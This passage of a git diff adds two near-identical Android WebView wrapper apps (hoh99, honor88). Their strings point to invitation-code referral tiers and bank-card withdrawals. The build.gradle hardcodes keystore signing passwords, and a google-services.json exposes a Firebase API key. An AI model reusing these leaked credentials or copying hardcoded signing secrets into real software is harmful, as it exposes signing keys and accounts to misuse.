a/hoh99/src/main/res/drawable/shape_dialog_bg_new.xml b/hoh99/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/hoh99/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/hoh99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/hoh99/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/hoh99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/hoh99/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/mipmap-hdpi/ic_empty.png b/hoh99/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/hoh99/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/hoh99/src/main/res/mipmap-hdpi/ic_pull_down.png b/hoh99/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/hoh99/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/hoh99/src/main/res/mipmap-xhdpi/ic_close.png b/hoh99/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/hoh99/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/hoh99/src/main/res/mipmap-xhdpi/ic_menu.png b/hoh99/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/hoh99/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/hoh99/src/main/res/mipmap-xxhdpi/app_logo.png b/hoh99/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..d8e6342 Binary files /dev/null and b/hoh99/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/hoh99/src/main/res/values-en/strings.xml b/hoh99/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/hoh99/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/hoh99/src/main/res/values-night/themes.xml b/hoh99/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/hoh99/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/values/colors.xml b/hoh99/src/main/res/values/colors.xml new file mode 100644 index 0000000..19ff471 --- /dev/null +++ b/hoh99/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #FFFFFF + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/hoh99/src/main/res/values/strings.xml b/hoh99/src/main/res/values/strings.xml new file mode 100644 index 0000000..5ed1382 --- /dev/null +++ b/hoh99/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + HOH99 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/values/themes.xml b/hoh99/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/hoh99/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/xml/app_updater_paths.xml b/hoh99/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/hoh99/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/xml/network_security_config.xml b/hoh99/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/hoh99/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/hoh99/src/main/res/xml/provider_paths.xml b/hoh99/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/hoh99/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/hoh99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/hoh99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/hoh99/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/honor88/.gitignore b/honor88/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/honor88/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/honor88/build.gradle b/honor88/build.gradle new file mode 100644 index 0000000..90bd23b --- /dev/null +++ b/honor88/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.honor88" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "honor88" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/honor88/dskjweb.jks b/honor88/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/honor88/dskjweb.jks differ diff --git a/honor88/google-services.json b/honor88/google-services.json new file mode 100644 index 0000000..d72cc37 --- /dev/null +++ b/honor88/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "95394378147", + "project_id": "honor88-b16f6", + "storage_bucket": "honor88-b16f6.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:95394378147:android:9579ab1cc27d916b316a16", + "android_client_info": { + "package_name": "com.web.honor88" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyB4mfShR2RwyLUAmpYHg2ComU9QLM4xHA4" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/honor88/ppn.jks b/honor88/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/honor88/ppn.jks differ diff --git a/honor88/proguard-rules.pro b/honor88/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/honor88/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/honor88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/honor88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/honor88/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/honor88/src/main/AndroidManifest.xml b/honor88/src/main/AndroidManifest.xml new file mode 100644 index 0000000..8cc1d74 --- /dev/null +++ b/honor88/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/main/java/com/web/honor88/MainActivity.java b/honor88/src/main/java/com/web/honor88/MainActivity.java new file mode 100644 index 0000000..e5effb1 --- /dev/null +++ b/honor88/src/main/java/com/web/honor88/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.honor88; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 216; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://www.honor818.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#5b1818"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#010101"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色t + setBackDrawables(R.drawable.big_bg); + setImageView(false); + showTopV1.setImageResource(R.mipmap.logo11); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/honor88/src/main/java/com/web/honor88/MyFirebaseMessageingService.java b/honor88/src/main/java/com/web/honor88/MyFirebaseMessageingService.java new file mode 100644 index 0000000..4113f2f --- /dev/null +++ b/honor88/src/main/java/com/web/honor88/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.honor88; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/honor88/src/main/java/com/web/honor88/WebApplication.java b/honor88/src/main/java/com/web/honor88/WebApplication.java new file mode 100644 index 0000000..501aac4 --- /dev/null +++ b/honor88/src/main/java/com/web/honor88/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.honor88; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/honor88/src/main/res/drawable-anydpi/ic_action_back.xml b/honor88/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/honor88/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/honor88/src/main/res/drawable-hdpi/ic_action_back.png b/honor88/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/honor88/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/honor88/src/main/res/drawable-mdpi/ic_action_back.png b/honor88/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/honor88/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/honor88/src/main/res/drawable-v24/ic_launcher_foreground.xml b/honor88/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/honor88/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable-xhdpi/ic_action_back.png b/honor88/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/honor88/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/honor88/src/main/res/drawable-xxhdpi/ic_action_back.png b/honor88/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/honor88/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/honor88/src/main/res/drawable/big_bg.xml b/honor88/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..cd9d39c --- /dev/null +++ b/honor88/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable/ic_launcher_background.xml b/honor88/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/honor88/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/honor88/src/main/res/drawable/input_bg.xml b/honor88/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/honor88/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/honor88/src/main/res/drawable/pass_word_bg.xml b/honor88/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/honor88/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/honor88/src/main/res/drawable/pass_word_bg1.xml b/honor88/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/honor88/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable/pass_word_bg2.xml b/honor88/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/honor88/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable/shape_btn_bg.xml b/honor88/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/honor88/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable/shape_dialog_bg2.xml b/honor88/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/honor88/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable/shape_dialog_bg3.xml b/honor88/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/honor88/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/drawable/shape_dialog_bg_new.xml b/honor88/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/honor88/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/honor88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/honor88/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/honor88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/honor88/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/mipmap-hdpi/ic_empty.png b/honor88/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/honor88/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/honor88/src/main/res/mipmap-hdpi/ic_pull_down.png b/honor88/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/honor88/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/honor88/src/main/res/mipmap-xhdpi/ic_close.png b/honor88/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/honor88/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/honor88/src/main/res/mipmap-xhdpi/ic_menu.png b/honor88/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/honor88/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/honor88/src/main/res/mipmap-xxhdpi/app_logo.jpg b/honor88/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..436deab Binary files /dev/null and b/honor88/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/honor88/src/main/res/mipmap-xxhdpi/logo11.png b/honor88/src/main/res/mipmap-xxhdpi/logo11.png new file mode 100644 index 0000000..88ab71b Binary files /dev/null and b/honor88/src/main/res/mipmap-xxhdpi/logo11.png differ diff --git a/honor88/src/main/res/values-en/strings.xml b/honor88/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/honor88/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/honor88/src/main/res/values-night/themes.xml b/honor88/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/honor88/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/honor88/src/main/res/values/colors.xml b/honor88/src/main/res/values/colors.xml new file mode 100644 index 0000000..bc11908 --- /dev/null +++ b/honor88/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #5b1818 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/honor88/src/main/res/values/strings.xml b/honor88/src/main/res/values/strings.xml new file mode 100644 index 0000000..6bacbac --- /dev/null +++ b/honor88/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + HONOR88 + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 